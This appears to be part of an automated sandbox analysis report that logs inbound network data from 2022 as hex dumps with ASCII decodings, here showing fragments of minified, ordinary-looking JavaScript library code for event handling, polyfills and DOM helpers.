2022-08-16 09:53:19 UTC	15	IN	Data Raw: 66 6f 72 28 64 20 69 6e 20 62 29 66 62 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 5b 64 2c 62 5b 64 5d 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 54 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 70 6c 61 63 65 41 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 26 26 21 62 2e 67 6c 6f 62 61 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6e 22 29 3b 72 65 74 75 72 6e 20 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 3f 74 68 69 73 2e 72 65 70 6c 61 63 65 28 62 2c 63 29 3a 74 68 69 73 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 53 74 72 69 6e 67 28 62 Data Ascii: for(d in b)fb(b,d)&&c.push([d,b[d]]);return c}});Ta("String.prototype.replaceAll",function(a){return a?a:function(b,c){if(b instanceof RegExp&&!b.global)throw new TypeError("n");return b instanceof RegExp?this.replace(b,c):this.replace(new RegExp(String(b
2022-08-16 09:53:19 UTC	17	IN	Data Raw: 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 6e 75 6c 6c 3d 3d 62 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 3b 5f 2e 6e 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 21 3d 62 3f 62 3a 61 3f 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 3f 22 61 72 72 61 79 22 3a 62 3a 22 6e 75 6c 6c 22 7d 3b 0a 5f 2e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 6e 62 28 61 29 3b 72 65 74 75 72 6e 22 61 72 72 61 79 22 3d 3d 62 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 62 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 7d 3b 5f 2e 41 61 3d 66 75 Data Ascii: or(var c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b};_.nb=function(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"};_.ea=function(a){var b=_.nb(a);return"array"==b\|\|"object"==b&&"number"==typeof a.length};_.Aa=fu
2022-08-16 09:53:19 UTC	18	IN	Data Raw: 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 3b 0a 5f 2e 79 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 47 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 63 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 59 6c 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 66 6f 72 28 76 61 72 20 67 3d 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 32 29 2c 6b 3d 32 3b 6b 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6b Data Ascii: [d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b};_.y=function(a,b){function c(){}c.prototype=b.prototype;a.G=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.Yl=function(d,e,f){for(var g=Array(arguments.length-2),k=2;k<arguments.length;k
2022-08-16 09:53:19 UTC	19	IN	Data Raw: 70 74 22 7d 3b 5f 2e 46 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 42 62 28 29 3b 61 3d 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 28 61 29 3a 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 44 62 28 61 2c 43 62 29 7d 3b 0a 76 61 72 20 47 62 3b 5f 2e 48 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 62 3d 3d 3d 47 62 3f 61 3a 22 22 7d 3b 5f 2e 48 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 2b 22 22 7d 3b 5f 2e 48 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 62 3d 21 30 3b 5f 2e 48 62 2e 70 72 6f 74 6f 74 79 70 65 2e 61 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 5f Data Ascii: pt"};_.Fb=function(a){var b=Bb();a=b?b.createScript(a):a;return new Db(a,Cb)};var Gb;_.Hb=function(a,b){this.g=b===Gb?a:""};_.Hb.prototype.toString=function(){return this.g+""};_.Hb.prototype.tb=!0;_.Hb.prototype.ab=function(){return this.g.toString()};_
2022-08-16 09:53:19 UTC	20	IN	Data Raw: 66 61 69 6c 75 72 65 73 3a 20 22 2b 61 29 2c 30 29 3b 74 68 69 73 2e 6c 2e 6c 65 6e 67 74 68 3d 30 3b 74 68 69 73 2e 6a 2e 6c 65 6e 67 74 68 3d 30 7d 3b 76 61 72 20 4f 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 5b 5d 2c 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 74 72 79 7b 61 5b 64 5d 2e 6a 28 62 29 7d 63 61 74 63 68 28 65 29 7b 63 61 28 65 29 2c 63 2e 70 75 73 68 28 65 29 7d 61 2e 6c 65 6e 67 74 68 3d 30 3b 72 65 74 75 72 6e 20 63 2e 6c 65 6e 67 74 68 3f 63 3a 6e 75 6c 6c 7d 3b 4d 62 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 4d 62 2e 47 2e 4c 2e 63 61 6c 6c 28 74 68 69 73 29 3b 5f 2e 64 61 28 74 68 69 73 2e 67 29 7d 3b 0a 76 61 72 20 50 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: failures: "+a),0);this.l.length=0;this.j.length=0};var Ob=function(a,b){for(var c=[],d=0;d<a.length;d++)try{a[d].j(b)}catch(e){ca(e),c.push(e)}a.length=0;return c.length?c:null};Mb.prototype.L=function(){Mb.G.L.call(this);_.da(this.g)};var Pb=function(){
2022-08-16 09:53:19 UTC	22	IN	Data Raw: 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 70 2e 63 61 6c 6c 28 61 2c 62 2c 76 6f 69 64 20 30 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 61 2e 6c 65 6e 67 74 68 2c 64 3d 41 72 72 61 79 28 63 29 2c 65 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 63 3b 66 2b 2b 29 66 20 69 6e 20 65 26 26 28 64 5b 66 5d 3d 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 65 5b 66 5d 2c 66 2c 61 29 29 3b 72 65 74 75 72 6e 20 64 7d 3b 55 62 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 64 75 63 65 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 64 75 63 65 2e 63 61 6c 6c 28 61 2c 62 2c 63 29 7d Data Ascii: rray.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e="string"===typeof a?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d};Ub=Array.prototype.reduce?function(a,b,c){Array.prototype.reduce.call(a,b,c)}
2022-08-16 09:53:19 UTC	23	IN	Data Raw: 3f 30 3a 70 61 72 73 65 49 6e 74 28 66 5b 31 5d 2c 31 30 29 2c 30 3d 3d 67 5b 31 5d 2e 6c 65 6e 67 74 68 3f 30 3a 70 61 72 73 65 49 6e 74 28 67 5b 31 5d 2c 31 30 29 29 7c 7c 5a 62 28 30 3d 3d 66 5b 32 5d 2e 6c 65 6e 67 74 68 2c 30 3d 3d 67 5b 32 5d 2e 6c 65 6e 67 74 68 29 7c 7c 5a 62 28 66 5b 32 5d 2c 67 5b 32 5d 29 3b 66 3d 66 5b 33 5d 3b 67 3d 67 5b 33 5d 7d 77 68 69 6c 65 28 30 3d 3d 63 29 7d 72 65 74 75 72 6e 20 63 7d 3b 0a 5a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3c 62 3f 2d 31 3a 61 3e 62 3f 31 3a 30 7d 3b 0a 76 61 72 20 61 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 63 5b 22 20 22 5d 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 61 63 5b 22 20 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 5f 2e 62 63 3d 66 75 6e 63 Data Ascii: ?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))\|\|Zb(0==f[2].length,0==g[2].length)\|\|Zb(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c};Zb=function(a,b){return a<b?-1:a>b?1:0};var ac=function(a){ac[" "](a);return a};ac[" "]=function(){};_.bc=func
2022-08-16 09:53:19 UTC	24	IN	Data Raw: 2e 24 62 28 5f 2e 74 63 2c 61 29 7d 29 7d 3b 0a 69 66 28 5f 2e 71 2e 64 6f 63 75 6d 65 6e 74 26 26 5f 2e 42 29 7b 76 61 72 20 78 63 3d 6f 63 28 29 3b 77 63 3d 78 63 3f 78 63 3a 70 61 72 73 65 49 6e 74 28 5f 2e 74 63 2c 31 30 29 7c 7c 76 6f 69 64 20 30 7d 65 6c 73 65 20 77 63 3d 76 6f 69 64 20 30 3b 5f 2e 79 63 3d 77 63 3b 0a 5f 2e 7a 63 3d 5f 2e 42 7c 7c 5f 2e 44 3b 0a 76 61 72 20 4a 61 3b 4a 61 3d 22 63 6f 6e 73 74 72 75 63 74 6f 72 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 20 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 20 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 20 74 6f 53 74 72 69 6e 67 20 76 61 6c 75 65 4f 66 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 5f 2e 41 63 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: .$b(_.tc,a)})};if(_.q.document&&_.B){var xc=oc();wc=xc?xc:parseInt(_.tc,10)\|\|void 0}else wc=void 0;_.yc=wc;_.zc=_.B\|\|_.D;var Ja;Ja="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Ac=function(
2022-08-16 09:53:19 UTC	25	IN	Data Raw: 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4d 63 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 5f 2e 4d 63 3f 61 2e 67 3a 22 74 79 70 65 5f 65 72 72 6f 72 3a 53 61 66 65 48 74 6d 6c 22 7d 3b 5f 2e 4f 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 42 62 28 29 3b 61 3d 62 3f 62 2e 63 72 65 61 74 65 48 54 4d 4c 28 61 29 3a 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4d 63 28 61 2c 4c 63 29 7d 3b 5f 2e 50 63 3d 5f 2e 4f 63 28 22 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 22 29 3b 5f 2e 51 63 3d 6e 65 77 20 5f 2e 4d 63 28 5f 2e 71 2e 74 72 75 73 74 65 64 54 79 70 65 73 26 26 5f 2e 71 2e 74 72 75 73 74 65 64 54 79 70 65 73 2e 65 6d 70 74 79 48 54 4d 4c 7c 7c 22 22 2c 4c 63 29 3b 5f 2e 52 63 3d 5f 2e 4f 63 Data Ascii: a){return a instanceof _.Mc&&a.constructor===_.Mc?a.g:"type_error:SafeHtml"};_.Oc=function(a){var b=Bb();a=b?b.createHTML(a):a;return new _.Mc(a,Lc)};_.Pc=_.Oc("<!DOCTYPE html>");_.Qc=new _.Mc(_.q.trustedTypes&&_.q.trustedTypes.emptyHTML\|\|"",Lc);_.Rc=_.Oc
2022-08-16 09:53:19 UTC	27	IN	Data Raw: 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 3b 0a 76 61 72 20 62 64 2c 61 64 2c 6f 64 2c 70 64 3b 5f 2e 5a 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 5f 2e 59 63 28 5f 2e 45 28 61 29 29 3a 77 62 7c 7c 28 77 62 3d 6e 65 77 20 5f 2e 59 63 29 7d 3b 5f 2e 24 63 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 62 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 62 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 63 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 63 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 63 2e 74 62 26 26 28 63 3d 63 2e 61 62 28 29 29 3b 22 73 74 79 6c 65 22 3d 3d 64 3f 61 2e 73 74 Data Ascii: .toString(36)};var bd,ad,od,pd;_.Zc=function(a){return a?new _.Yc(_.E(a)):wb\|\|(wb=new _.Yc)};_.$c=function(a,b){return"string"===typeof b?a.getElementById(b):b};bd=function(a,b){_.Ac(b,function(c,d){c&&"object"==typeof c&&c.tb&&(c=c.ab());"style"==d?a.st
2022-08-16 09:53:19 UTC	28	IN	Data Raw: 6e 67 22 3d 3d 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 3b 62 72 65 61 6b 20 61 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 66 29 7b 67 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 3b 62 72 65 61 6b 20 61 7d 7d 67 3d 21 31 7d 5f 2e 52 62 28 67 3f 5f 2e 79 61 28 66 29 3a 66 2c 65 29 7d 7d 7d 3b 5f 2e 66 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 53 74 72 69 6e 67 28 62 29 3b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 22 3d 3d 3d 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 26 26 28 62 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 0a 5f 2e 63 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: ng"==typeof f.item;break a}if("function"===typeof f){g="function"==typeof f.item;break a}}g=!1}_.Rb(g?_.ya(f):f,e)}}};_.fd=function(a,b){b=String(b);"application/xhtml+xml"===a.contentType&&(b=b.toLowerCase());return a.createElement(b)};_.cd=function(a){
2022-08-16 09:53:19 UTC	29	IN	Data Raw: 3a 31 7d 3b 70 64 3d 7b 49 4d 47 3a 22 20 22 2c 42 52 3a 22 5c 6e 22 7d 3b 0a 5f 2e 72 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 3b 5f 2e 71 64 28 61 2c 62 2c 21 30 29 3b 61 3d 62 2e 6a 6f 69 6e 28 22 22 29 3b 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 20 5c 78 41 44 20 2f 67 2c 22 20 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 78 41 44 2f 67 2c 22 22 29 3b 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 5c 75 32 30 30 42 2f 67 2c 22 22 29 3b 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 20 2b 2f 67 2c 22 20 22 29 3b 22 20 22 21 3d 61 26 26 28 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 73 2a 2f 2c 22 22 29 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 71 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 28 61 2e 6e 6f 64 65 4e 61 6d 65 20 69 Data Ascii: :1};pd={IMG:" ",BR:"\n"};_.rd=function(a){var b=[];_.qd(a,b,!0);a=b.join("");a=a.replace(/ \xAD /g," ").replace(/\xAD/g,"");a=a.replace(/\u200B/g,"");a=a.replace(/ +/g," ");" "!=a&&(a=a.replace(/^\s*/,""));return a};_.qd=function(a,b,c){if(!(a.nodeName i
2022-08-16 09:53:19 UTC	31	IN	Data Raw: 29 3b 74 72 79 7b 5f 2e 71 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 29 2c 5f 2e 71 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 29 7d 63 61 74 63 68 28 63 29 7b 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 0a 5f 2e 78 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 75 64 2e 63 61 6c 6c 28 74 68 69 73 2c 61 3f 61 2e 74 79 70 65 3a 22 22 29 3b 74 68 69 73 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3d 74 68 69 73 2e 74 61 72 67 65 74 3d 6e 75 6c 6c 3b 74 68 69 73 2e 62 75 74 74 6f 6e 3d 74 68 69 73 2e 73 63 72 65 65 6e 59 3d 74 68 69 73 2e 73 63 72 Data Ascii: );try{_.q.addEventListener("test",function(){},b),_.q.removeEventListener("test",function(){},b)}catch(c){}return a}();_.xd=function(a,b){_.ud.call(this,a?a.type:"");this.relatedTarget=this.currentTarget=this.target=null;this.button=this.screenY=this.scr
2022-08-16 09:53:19 UTC	32	IN	Data Raw: 22 3d 3d 63 3f 61 2e 6b 65 79 43 6f 64 65 3a 30 29 3b 74 68 69 73 2e 63 74 72 6c 4b 65 79 3d 61 2e 63 74 72 6c 4b 65 79 3b 74 68 69 73 2e 61 6c 74 4b 65 79 3d 61 2e 61 6c 74 4b 65 79 3b 74 68 69 73 2e 73 68 69 66 74 4b 65 79 3d 61 2e 73 68 69 66 74 4b 65 79 3b 74 68 69 73 2e 6d 65 74 61 4b 65 79 3d 61 2e 6d 65 74 61 4b 65 79 3b 74 68 69 73 2e 6a 3d 5f 2e 68 63 3f 61 2e 6d 65 74 61 4b 65 79 3a 61 2e 63 74 72 6c 4b 65 79 3b 74 68 69 73 2e 70 6f 69 6e 74 65 72 49 64 3d 61 2e 70 6f 69 6e 74 65 72 49 64 7c 7c 30 3b 74 68 69 73 2e 70 6f 69 6e 74 65 72 54 79 70 65 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 70 6f 69 6e 74 65 72 54 79 70 65 3f 61 2e 70 6f 69 6e 74 65 72 54 79 70 65 3a 77 64 5b 61 2e 70 6f 69 6e 74 65 72 54 79 70 65 5d 7c 7c 22 Data Ascii: "==c?a.keyCode:0);this.ctrlKey=a.ctrlKey;this.altKey=a.altKey;this.shiftKey=a.shiftKey;this.metaKey=a.metaKey;this.j=_.hc?a.metaKey:a.ctrlKey;this.pointerId=a.pointerId\|\|0;this.pointerType="string"===typeof a.pointerType?a.pointerType:wd[a.pointerType]\|\|"
2022-08-16 09:53:19 UTC	33	IN	Data Raw: 37 39 62 31 0d 0a 61 3b 74 68 69 73 2e 67 3d 7b 7d 3b 74 68 69 73 2e 68 3d 30 7d 2c 46 64 3b 44 64 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 61 3d 74 68 69 73 2e 67 5b 66 5d 3b 61 7c 7c 28 61 3d 74 68 69 73 2e 67 5b 66 5d 3d 5b 5d 2c 74 68 69 73 2e 68 2b 2b 29 3b 76 61 72 20 67 3d 45 64 28 61 2c 62 2c 64 2c 65 29 3b 2d 31 3c 67 3f 28 62 3d 61 5b 67 5d 2c 63 7c 7c 28 62 2e 53 64 3d 21 31 29 29 3a 28 62 3d 6e 65 77 20 42 64 28 62 2c 74 68 69 73 2e 73 72 63 2c 66 2c 21 21 64 2c 65 29 2c 62 2e 53 64 3d 63 2c 61 2e 70 75 73 68 28 62 29 29 3b 72 65 74 75 72 6e 20 62 7d 3b 44 64 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 Data Ascii: 79b1a;this.g={};this.h=0},Fd;Dd.prototype.add=function(a,b,c,d,e){var f=a.toString();a=this.g[f];a\|\|(a=this.g[f]=[],this.h++);var g=Ed(a,b,d,e);-1<g?(b=a[g],c\|\|(b.Sd=!1)):(b=new Bd(b,this.src,f,!!d,e),b.Sd=c,a.push(b));return b};Dd.prototype.remove=func
2022-08-16 09:53:19 UTC	34	IN	Data Raw: 74 75 72 6e 20 5f 2e 4b 64 28 61 2c 62 2c 63 2c 64 2c 65 29 3b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 62 29 29 7b 66 6f 72 28 76 61 72 20 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 5f 2e 46 28 61 2c 62 5b 66 5d 2c 63 2c 64 2c 65 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 63 3d 4c 64 28 63 29 3b 72 65 74 75 72 6e 20 5f 2e 7a 64 28 61 29 3f 61 2e 44 28 62 2c 63 2c 5f 2e 41 61 28 64 29 3f 21 21 64 2e 63 61 70 74 75 72 65 3a 21 21 64 2c 65 29 3a 4d 64 28 61 2c 62 2c 63 2c 21 31 2c 64 2c 65 29 7d 3b 0a 4d 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 69 66 28 21 62 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 22 29 3b 76 61 72 20 67 3d 5f 2e 41 61 28 65 29 3f 21 21 65 2e 63 61 70 74 75 72 65 3a 21 21 65 2c 6b Data Ascii: turn _.Kd(a,b,c,d,e);if(Array.isArray(b)){for(var f=0;f<b.length;f++)_.F(a,b[f],c,d,e);return null}c=Ld(c);return _.zd(a)?a.D(b,c,_.Aa(d)?!!d.capture:!!d,e):Md(a,b,c,!1,d,e)};Md=function(a,b,c,d,e,f){if(!b)throw Error("B");var g=_.Aa(e)?!!e.capture:!!e,k
2022-08-16 09:53:19 UTC	35	IN	Data Raw: 65 4c 69 73 74 65 6e 65 72 26 26 62 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 28 64 29 3b 4a 64 2d 2d 3b 28 63 3d 5f 2e 4e 64 28 62 29 29 3f 28 46 64 28 63 2c 61 29 2c 30 3d 3d 63 2e 68 26 26 28 63 2e 73 72 63 3d 6e 75 6c 6c 2c 62 5b 48 64 5d 3d 6e 75 6c 6c 29 29 3a 43 64 28 61 29 3b 72 65 74 75 72 6e 21 30 7d 3b 50 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 20 49 64 3f 49 64 5b 61 5d 3a 49 64 5b 61 5d 3d 22 6f 6e 22 2b 61 7d 3b 5f 2e 54 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 6c 69 73 74 65 6e 65 72 2c 64 3d 61 2e 6a 65 7c 7c 61 2e 73 72 63 3b 61 2e 53 64 26 26 5f 2e 53 64 28 61 29 3b 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 64 2c 62 29 7d 3b 0a 51 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c Data Ascii: eListener&&b.removeListener(d);Jd--;(c=_.Nd(b))?(Fd(c,a),0==c.h&&(c.src=null,b[Hd]=null)):Cd(a);return!0};Pd=function(a){return a in Id?Id[a]:Id[a]="on"+a};_.Td=function(a,b){var c=a.listener,d=a.je\|\|a.src;a.Sd&&_.Sd(a);return c.call(d,b)};Qd=function(a,
2022-08-16 09:53:19 UTC	37	IN	Data Raw: 21 31 2c 61 29 26 26 65 3b 72 65 74 75 72 6e 20 65 7d 3b 0a 5f 2e 68 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 47 2e 47 2e 4c 2e 63 61 6c 6c 28 74 68 69 73 29 3b 74 68 69 73 2e 6e 62 26 26 5f 2e 47 64 28 74 68 69 73 2e 6e 62 29 3b 74 68 69 73 2e 57 66 3d 6e 75 6c 6c 7d 3b 5f 2e 68 2e 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6e 62 2e 61 64 64 28 53 74 72 69 6e 67 28 61 29 2c 62 2c 21 31 2c 63 2c 64 29 7d 3b 5f 2e 68 2e 63 63 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6e 62 2e 61 64 64 28 53 74 72 69 6e 67 28 61 29 2c 62 2c 21 30 2c 63 2c 64 29 7d 3b 5f 2e 68 2e 74 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 74 Data Ascii: !1,a)&&e;return e};_.h.L=function(){_.G.G.L.call(this);this.nb&&_.Gd(this.nb);this.Wf=null};_.h.D=function(a,b,c,d){return this.nb.add(String(a),b,!1,c,d)};_.h.cc=function(a,b,c,d){return this.nb.add(String(a),b,!0,c,d)};_.h.ta=function(a,b,c,d){return t
2022-08-16 09:53:19 UTC	38	IN	Data Raw: 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 67 2e 61 64 64 4c 69 73 74 65 6e 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 67 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 26 26 28 74 68 69 73 2e 67 3d 6e 75 6c 6c 29 7d 3b 5f 2e 79 28 58 64 2c 5f 2e 47 29 3b 0a 58 64 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 74 68 69 73 2e 67 26 26 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 67 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 74 68 69 73 2e 67 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 74 68 69 73 2e 68 29 2c 74 68 69 73 2e Data Ascii: &"function"!==typeof this.g.addListener&&"function"!==typeof this.g.addEventListener&&(this.g=null)};_.y(Xd,_.G);Xd.prototype.start=function(){var a=this;this.g&&("function"===typeof this.g.addEventListener?(this.g.addEventListener("change",this.h),this.
